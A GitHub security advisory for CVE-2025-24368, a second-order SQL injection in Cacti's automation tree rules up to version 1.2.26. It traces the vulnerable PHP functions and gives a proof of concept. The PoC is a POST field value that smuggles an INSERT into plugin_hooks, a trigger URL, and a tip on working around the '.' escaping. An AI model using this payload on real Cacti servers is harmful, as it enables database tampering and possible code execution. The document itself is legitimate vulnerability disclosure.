Skip to content

SQL Injection vulnerability when using tree rules through Automation API

Moderate
netniV published GHSA-f9c7-7rc3-574c Jan 26, 2025

Package

Cacti (PHP)

Affected versions

<=1.2.26

Patched versions

1.2.29

Description

Summary

Some of the data stored in automation_tree_rules.php is not thoroughly checked and is used to concatenate the SQL statement in
build_rule_item_filter() function from lib/api_automation.php , finally resulting in SQL injection.
Another SQL injection again, verified in version 1.2.26.

Details

1. Store dirty data

Same as https://github.com/Cacti/cacti/security/advisories/GHSA-gj3f-p326-gh8r.
The writing of dirty data can be done from automation_tree_rules_form_save() function in automation_tree_rules.php. This requires administrator privileges of Automation. The field field of the automation_tree_rule_items table are controllable.
image

2. Read and concatenate the SQL statement

The attack starts with the form_action() function in host.php and finally arriving at build_matching_objects_filter() in lib/api.automation.php. The call stack is as follows.
image

The build_matching_objects_filter() function constructs a filter for SQL statements by reading the database, and after confirming the corresponding rules, the SQL statement is constructed by the build_rule_item_filter() function.

function build_matching_objects_filter($rule_id, $rule_type) {
	// ...

	// Read automation_match_rule_items
	$rule_items = db_fetch_assoc_prepared('SELECT *
		FROM automation_match_rule_items
		WHERE rule_id = ?
		AND rule_type = ?
		ORDER BY sequence',
		array($rule_id, $rule_type));

	if (cacti_sizeof($rule_items)) {
                // Build filter
		$sql_filter	= build_rule_item_filter($rule_items);
	} 

	// ...
	return trim($sql_filter);
}

In build_rule_item_filter(), the field field of the read rule is concatenated into the SQL statement return.

function build_rule_item_filter($automation_rule_items, $prefix = '') {
	// ...
	$sql_filter = '';
	$indent     = 1;

	if (cacti_sizeof($automation_rule_items)) {
        // ...

		foreach($automation_rule_items as $automation_rule_item) {
			// ...

			if ($automation_rule_item['field'] != '') {

                                // Concatenated field into the SQL statement
				$sql_filter .= ' ' . $prefix . '`' . implode('`.`', explode('.', $automation_rule_item['field'])) . '`';
				// ...
			}
		}
	}
	return $sql_filter;
}

In get_matching_hosts(), the concatenated SQL statements is executed.

function get_matching_hosts($rule, $rule_type, $sql_where='') {
	// ...

	/* get the WHERE clause for matching hosts */
	$sql_filter = ' WHERE h.deleted = "" AND (' . build_matching_objects_filter($rule['id'], $rule_type) .')';

	if ($sql_where != '') {
		$sql_filter .= ' AND ' . $sql_where;
	}

        // Executed
	$results = db_fetch_assoc($sql_query . $sql_filter, false);

PoC

Store dirty data

POST access automation_tree_rules.php and submit the following data:

'save_component_automation_tree_rule_item' => 1,
'item_id'=>1,
'id'=>1,
'sequence'=>100,
'field'=>"ht.name` LIKE '%Linux%');INSERT INTO plugin_hooks VALUES (3,'a','a','../../../../','.','a');#",
'sort_type'=>1,
'search_pattern'=>'TAINT',
'action'=>'save',
'__csrf_magic'=> ''

Read and concatenate the SQL statement

GET access : http://ip:port/host.php?action=actions&action=actions&drp_action=6&selected_items=a:1:{i:0;i:1;}
image

Due to the code of implode('`.`', explode('.', $automation_rule_item['field'])) in build_rule_item_filter(), the character of . in malicious SQL statements will be changed to `.`. When concatenating SQL statements, be careful to avoid the use of this character.

Impact

Using SQL based secondary injection technology, attackers can modify the contents of the Cacti database, and based on the modified content, it may be possible to achieve further impact, such as arbitrary file reading, and even remote code execution through arbitrary file writing.

Researcher: ISHGARD-2, USTC

Severity

Moderate

CVE ID

CVE-2025-24368

Weaknesses

No CWEs

Credits